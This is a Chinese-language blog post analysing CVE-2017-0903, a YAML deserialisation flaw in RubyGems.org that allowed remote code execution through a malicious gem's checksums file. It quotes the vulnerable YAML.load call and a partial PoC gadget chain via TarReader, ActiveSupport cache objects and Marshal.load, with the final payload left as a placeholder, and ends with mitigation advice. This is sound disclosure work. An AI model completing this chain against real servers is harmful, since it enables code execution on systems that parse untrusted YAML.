RubyGems.org远程代码执行漏洞深度解析

本文详细分析了2017年RubyGems.org平台存在的反序列化漏洞,攻击者可通过恶意构造的gem包实现远程代码执行,涉及YAML解析机制和Ruby对象加载过程的技术细节。

RubyGems.org远程代码执行漏洞

发布日期:2017年10月7日
CVE编号:CVE-2017-0903

漏洞概述

RubyGems.org作为Ruby生态中广泛使用的依赖包托管服务,存在一个可通过反序列化漏洞实现远程代码执行的安全缺陷。当用户执行gem install命令时,该平台会解析gem包中的YAML文件,而攻击者可以通过特制的恶意gem包利用不安全的YAML.load调用执行任意代码。

技术背景

Ruby gem包实质上是tar归档文件,包含三个核心文件:

  • metadata.gz:包含gem元数据的YAML文件
  • data.tar.gz:包含源代码的tar归档
  • checksums.yaml.gz:包含内容校验和的YAML文件

漏洞机理

不安全的YAML解析

虽然RubyGems.org团队在2013年已意识到YAML反序列化的风险,并通过monkey-patching方式限制了可反序列化的类白名单(2015年改用Psych.safe_load),但补丁仅覆盖了Gem::Specification#from_yaml方法。

Gem::Package#verify方法的调用链中,#read_checksums方法存在未被修补的漏洞点:

1
2
3
4
5
@checksums = gem.seek 'checksums.yaml.gz' do |entry|
  Zlib::GzipReader.wrap entry do |gz_io|
    YAML.load gz_io.read  # 漏洞点
  end
end

利用链构造

攻击者通过构造特殊的YAML载荷,控制@checksums变量为任意类的实例。关键利用点在于后续的#verify_checksums方法中对checksums.sort的调用。

PoC载荷结构:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
SHA1: !ruby/object:Gem::Package::TarReader
  io: !ruby/object:Gem::Package::TarReader::Entry
    closed: false
    header: 'foo'
    read: 0
    io: !ruby/object:ActiveSupport::Cache::MemoryStore
      options: {}
      monitor: !ruby/object:ActiveSupport::Cache::Strategy::LocalCache::LocalStore
        registry: {}
      key_access: {}
      data:
        '3': !ruby/object:ActiveSupport::Cache::Entry
          compressed: true
          value: !binary '<BASE64编码的恶意载荷>'

执行流程

  1. Gem::Package::TarReader#sort触发#each方法
  2. 调用Gem::Package::TarReader::Entry#read
  3. 通过ActiveSupport::Cache::MemoryStore#read获取缓存条目
  4. ActiveSupport::Cache::Entry#value触发Marshal.load处理压缩数据
  5. 恶意反序列化对象的方法调用执行攻击代码

安全启示

该漏洞揭示了YAML格式的强大表达能力带来的安全风险。在不需要复杂对象序列化的场景中,应优先选用JSON等更安全的交换格式。建议将YAML.load重命名为YAML.unsafe_load以明确其风险性,并推动使用带类白名单参数的安全解析方法。

致谢

感谢RubyGems.org团队运营的积极响应式漏洞赏金计划,使得该漏洞得以快速修复。


comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计